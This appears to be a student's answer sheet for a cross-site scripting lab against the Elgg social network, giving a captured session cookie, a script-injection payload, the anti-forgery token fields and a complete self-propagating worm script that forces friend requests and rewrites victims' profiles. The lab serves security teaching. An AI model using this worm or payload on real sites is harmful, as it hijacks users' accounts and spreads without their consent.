Part A. Basic XSS

1. What is Samy's session token?

    - **Elgg=26pbp9bms9i9i44d90juquutd2**

2. What is the result HTML we must add to the Brief Description field in order to execute the now remotely hosted JavaScript?

    - **<script src=http://127.0.0.1/lab5_xss.js></script>**

Part B. Automatically Add Friends

3. What is the HTTP GET message URL used to add a new friend to a profile?

    - **GET /action/friends/add?friend=39&__elgg_ts=1477862929&__elgg_token=016489e56dff26f81bd8ca6ae75572a1 HTTP/1.1**

4. What are the 3 variables that accompany this message? Explain the purpose of each.

    - **friend:**
        - **The variable for the friend that is to be added (or perform some other action) or the variable for the profile that is currently being viewed**
    - **__elgg_ts:**
        - **The variable for the time stamp, elgg is a security measure**
    - **__elgg_token:**
        - **The variable for the security token, along with elgg the security measure**

5. Provide the resulting value of <ADDFRIENDPAGE> and <VARIABLES> that we can use to send automatically send a friend request when you visit Samy's page. Verify this works by ensuring Alice and Samy are not friend and then log-in as Alice and visit Samy's page. Alice should automatically be added to Samy's friends list.

    - **< ADDFRIENDPAGE >:**
        - **action/friends/add**
    - **< VARIABLES >:**
        - **friend=42&__elgg_ts="+elgg.security.token.__elgg_ts+"&__elgg_token="+elgg.security.token.__elgg_token;**

Part C. Self-Propagating Worm

6. What is the URL used to submit the profile update? Also, provide the HTTP POST variables.

    - **URL for the profile update:**
        - **http://www.xsslabelgg.com/action/profile/edit**
    - **POST variables:**
        - **__elgg_token=3d418b2f6c87bb5fe1f6c3947f231804&__elgg_ts=1478225412&name=Alice&description=&accesslevel%5Bdescription%5D=2&briefdescription=&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=42**

7. Provide the resulting 4 JavaScript variables that we need to include in our POST.

    - **The 4 JavaScript variables needed to include in POST:**
        - **__elgg_token = elgg.security.token.__elgg_token**
        - **__elgg_ts = elgg.security.token.__elgg_ts**
        - **name = elgg.session.user.name**
        - **guid = elgg.page_owner**

8. What value do we need in the Brief Description POST variable to propagate the malicious JavaScript? Note: you should use the JavaScript escape() function when adding HTML within HTTP POST variables.

    - **Value in the "Brief Description" POST variable:**
        - **escape('<script src="http://127.0.0.1/lab5_xss.js"></script>')**

9. Provide the resulting lab5_xss.js file:

```
alert(document.cookie);
url =
"http://www.xsslabelgg.com/action/friends/add?friend=42&__elgg_ts="+elgg.security.token
.__elgg_ts+"&__elgg_token="+elgg.security.token.__elgg_token;

var Ajax1 = null;
Ajax1 = new XMLHttpRequest();
Ajax1.open("GET",url,true);
Ajax1.setRequestHeader("Host","www.xsslabelgg.com");
Ajax1.setRequestHeader("Keep-Alive","300");
Ajax1.setRequestHeader("Connection","keep-alive");
Ajax1.setRequestHeader("Cookie",document.cookie);
Ajax1.send();

var Ajax2=null;
Ajax2=new XMLHttpRequest();
Ajax2.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax2.setRequestHeader("Host","www.xsslabelgg.com");
Ajax2.setRequestHeader("Keep-Alive","300");
Ajax2.setRequestHeader("Connection","keep-alive");
Ajax2.setRequestHeader("Cookie",document.cookie);
Ajax2.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var injectCode = escape('<script src="http://127.0.0.1/lab5_xss.js"></script>')
Ajax2.send("__elgg_token="+elgg.security.token.__elgg_token+"&__elgg_ts="+elgg.security.t
oken.__elgg_ts+"&name="+elgg.session.user.name+"&description=&accesslevel%5Bdescripti
on%5D=2&briefdescription="+injectCode+"&accesslevel%5Bbriefdescription%5D=2&location
=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&access
level%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accessle
vel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bweb
site%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=42");
```